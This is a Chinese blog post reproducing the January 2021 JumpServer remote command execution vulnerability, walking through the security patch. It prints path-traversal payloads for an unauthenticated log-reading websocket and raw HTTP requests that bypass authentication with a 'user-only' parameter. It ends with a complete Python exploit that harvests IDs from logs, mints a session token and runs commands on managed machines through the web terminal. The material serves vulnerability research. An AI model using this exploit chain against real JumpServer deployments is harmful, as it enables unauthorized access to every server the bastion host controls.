JumpServer 远程命令执行漏洞复现

2021年1月15日,开源堡垒机JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行命令(系统有个批量命令执行的功能,会记录taskid到log中,利用前面读取log的漏洞可以获取taskid进行重放。)

实际是任意.log读取 然后通过任意log文件读取 获取到堡垒机托管的机器的SSH会话token,通过获取到的会话Token执行任意命令(有回显)。

标题很高大上,实际这个洞利用无法进行定向利用,大概是会话劫持那种利用。

参考链接:

https://s.tencent.com/research/bsafe/1228.html

https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw

复现过程

查找官方修复补丁:https://github.com/jumpserver/jumpserver/commits/master

你会发现找不到。。。。

太骚了,单独开分支更新,然后合并过来。

真实的补丁:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

有两个文件进行了变动 apps/authentication/api/auth.py 和 apps/ops/ws.py

  • apps/ops/ws.py

很明显websocket 加了个鉴权代码,所以POC就是直接连就完事了。

这个接口能干啥呢?我们查看源码这个函数属于TaskLogWebsocket 类

https://github.com/jumpserver/jumpserver/blob/master/apps/ops/ws.py

我们可以看到json解析数据,提取task参数值的值作为handle_task的参数。

handle_task 将接收到的task传递到read_log_file函数的参数task_id,read_log_file调用wait_util_log_path_exist 获取到该task_id对应的log文件,然后输出返回内容。

wait_util_log_path_exist调用get_celery_task_log_path 获取 日志文件路径

通过查看get_celery_task_log_path源码

可以看到是很简单的拼接,所以一定有路径穿越。故存在任意.log文件读取

payload如下:

{"task":"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/gunicorn"}
{"task":"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/jumpserver"}

对应着jumpserver 两个比较重要的日志文件

import asyncio
import websockets

async def test(uri):
    async with websockets.connect(uri) as websocket:
        await websocket.send("{\"task\":\"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/gunicorn\"}")
        greeting = "!"
        while greeting:
            greeting = await websocket.recv()
            print(greeting)

asyncio.get_event_loop().run_until_complete(
    test('ws://host:8080/ws/ops/tasks/log/'))

读取到日志有什么用呢?目前来看是一些信息泄露,比如当jumpserver 报错了,可能在gunicorn.log里能看到一些信息还有就是读取命令的返回结果。这个日志也是后续的RCE利用的关键点

命令重放,在jumpserver.log中找到对应的taskid

在jumpserver.log里会有类似的日志

[ws INFO] Task id: e28a51aa-08c5-405f-a9fd-baf188ccca4a\r\n2021-01-16 01:43:03 

我们先用任意日志读取漏洞看看该任务对应的命令,免得用力过猛

---------- \u4efb\u52a1\u5f00\u59cb ----------\r\r\n$ id (2021-01-16 02:04:03) *******************************************************************************************************************************************\r\r\n\u001b[0;33m*.*.*.* | CHANGED | rc=0 >>\u001b[0m\r\n\u001b[0;33muid=0(root) gid=0(root) \u7ec4=0(root)\u001b[0m\r\n\u001b[0;33m\u001b[0m\r\r\n---------- \u4efb\u52a1\u7ed3\u675f ----------\r\r\nTask ops.tasks.run_command_execution[e28a51aa-08c5-405f-a9fd-baf188ccca4a] succeeded in 0.6158538620002219s: None\r\r\n

我们可以看到是id命令,命令定位看美元符。这个时候我们就查看到了这个任务的返回信息

美化及unicode 解码后(*.*.*.*是IP,我打码了)

---------- 任务开始 ----------
$ id (2021-01-16 02:04:03)*******************************************************************************************************************************************
*.*.*.* | CHANGED | rc=0 >>
uid=0(root) gid=0(root) 组=0(root)

---------- 任务结束 ----------
Task ops.tasks.run_command_execution[e28a51aa-08c5-405f-a9fd-baf188ccca4a] succeeded in 0.6158538620002219s: None

我复现的时候用了touch和rm命令均无法实现重放,且根据接口命名也不能重放。

  • apps/authentication/api/auth.py

这个呢个人感觉就更鸡肋了,不过也就这个和官方更新首页有关

以下两个接口添加get参数user-only就可以绕过鉴权

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

至于这两个接口有什么呢。找不到相关资料。查看实现源码,需要提供用户的uuid,资产的uuid,和一个操作系统的登陆密钥对的uuid 就会生成一个token(POST),这个token 作为GET参数就会返回用户的uuid

POST /api/v1/users/connection-token/?user-only=1 HTTP/1.1
Host: *:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 153

{"user":"58d40c90-ca4e-48b2-b0aa-42a9713fb9c4",
"asset":"31107461-d50f-4d93-b40a-e70826fa8288",
"system_user":"4fb03fdd-0c15-446b-b431-6394fcd08e61"
}

GET /api/v1/users/connection-token/?user-only=1&token=05445d73-c0f3-4ba7-8446-cda236f0ebef HTTP/1.1
Host: *:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0

生成的token有效期只有20秒。

搜索源码目前就看到与/api/v1/terminal/terminals/uuid:terminal/access-key/

会判断terminal对应的token 是否等于传递的token,而terminal的uuid在未授权情况下也获取不到。

RCE利用

一开始复现没在jumpserver代码找到利用点,结果看到微信公众号发现原理利用点是在koko也就是后台的web终端功能

https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

可以清晰看到这里的target_id就是我们生成的token

而前面提到生成token需要user_id,asset_id,system_user_id这三个参数怎么获取呢,还是利用第一个任意.log文件读取gunicorn.log 搜索以下内容

GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect

最后如果他用过web终端,能看到以下记录

192.168.250.8 [16/Jan/2021:16:37:25 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=31107461-d50f-4d93-b40a-e70826fa8288&cache_policy=1&system_user_id=4fb03fdd-0c15-446b-b431-6394fcd08e61&userid=370203bc-b9ba-45a8-896e-436a51d9aa76 HTTP/1.1" 200 12
192.168.250.8 [16/Jan/2021:16:37:25 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=31107461-d50f-4d93-b40a-e70826fa8288&cache_policy=1&system_user_id=4fb03fdd-0c15-446b-b431-6394fcd08e61&userid=370203bc-b9ba-45a8-896e-436a51d9aa76 HTTP/1.1" 200 12

根据拿到的user_id,asset_id,system_user_id,调用/api/v1/users/connection-token/ 生成token ,然后websocket连接 koko项目的 ws/token即可

查找nigix 配置,看到koko项目的访问路径就是koko

完整的POC

import asyncio
import json
import re

import requests
import websockets


def get_token(user_id, asset_id, system_user_id):
    data = {}
    data["user"] = user_id.replace("user_id=", "")
    data["asset"] = asset_id.replace("asset_id=", "")
    data["system_user"] = system_user_id.replace("system_user_id=", "")
    header = {
        "Content-Type": "application/json;charset=UTF-8",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36"
    }
    uri = "https://{}/api/v1/users/connection-token/?user-only=1".format(host)
    r = requests.post(uri, json=data, headers=header)
    if r.status_code == 201:
        return json.loads(r.text)["token"]
    else:
        return ""


async def test_token(token, excue_cmd):
    async with websockets.connect('ws://{}/koko/ws/token/?target_id={}'.format(host, token)) as websocket:
        messages = "!"
        conn_id = ""
        rce_flag = False
        cmd_count = 0
        result_data = ""
        while messages:
            try:
                messages = await asyncio.wait_for(websocket.recv(), timeout=2.0)
            except:
                if messages.find('"type":"CONNECT"') != -1:
                    conn_id = json.loads(messages)["id"]
                    cmd1 = '{"id":"%s","type":"TERMINAL_INIT","data":"{\\"cols\\":80,\\"rows\\":24}"}' % conn_id
                    await websocket.send(cmd1)
                elif rce_flag == False:
                    if cmd_count == len(excue_cmd):
                        rce_flag = True
                        cmd2 = '{"id": "%s", "type": "TERMINAL_DATA", "data": "\\r"}' % (conn_id)
                        result_data = ""
                    else:
                        cmd2 = '{"id": "%s", "type": "TERMINAL_DATA", "data": "%s"}' % (conn_id, excue_cmd[cmd_count])
                    await websocket.send(cmd2)
                    cmd_count += 1
                else:
                    break
            result_data += json.loads(messages)["data"]
        print("Excue \"%s\" Result:" % excue_cmd)
        print("".join(result_data.split("\r\n")[1:-1]))


async def test(uri):
    async with websockets.connect(uri) as websocket:
        await websocket.send("{\"task\":\"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/gunicorn\"}")
        messages = "!"
        tested_list = []
        vulned_list = []
        while messages:
            # RCE
            try:
                messages += await asyncio.wait_for(websocket.recv(), timeout=2.0)
                if messages.find("GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect") != -1:
                    asset_id_tmp = re.findall(
                        r"asset_id=[0-9a-z]{8}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{12}",
                        messages, flags=0)
                    system_user_id_tmp = re.findall(
                        r"system_user_id=[0-9a-z]{8}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{12}", messages,
                        flags=0)
                    user_id_tmp = re.findall(
                        r"user_id=[0-9a-z]{8}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{12}",
                        messages, flags=0)
                    count = min(len(asset_id_tmp), len(system_user_id_tmp), len(user_id_tmp))
                    for i in range(0, count):
                        if user_id_tmp[i] + asset_id_tmp[i] + system_user_id_tmp[i] in tested_list:
                            continue
                        token = get_token(user_id_tmp[i], asset_id_tmp[i], system_user_id_tmp[i])
                        if token != "":
                            vulned_list.append(user_id_tmp[i] + "&" + asset_id_tmp[i] + "&" + system_user_id_tmp[i])
                            print("*" * 100)
                            print(user_id_tmp[i] + "&" + asset_id_tmp[i] + "&" + system_user_id_tmp[i])
                            await test_token(token, "id")
                            print("*" * 100)
                        tested_list.append(user_id_tmp[i] + asset_id_tmp[i] + system_user_id_tmp[i])
                messages = messages.split("\\r\\n")[1]
                # Read LOG
                # messages = await websocket.recv()
                # print(messages)
            except Exception as e:
                print(str(e))
                break
        print("Found %d Token" % len(vulned_list))
        for item in vulned_list:
            print(item)


host = "*:8080"
asyncio.get_event_loop().run_until_complete(
    test('ws://{}/ws/ops/tasks/log/'.format(host)))

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注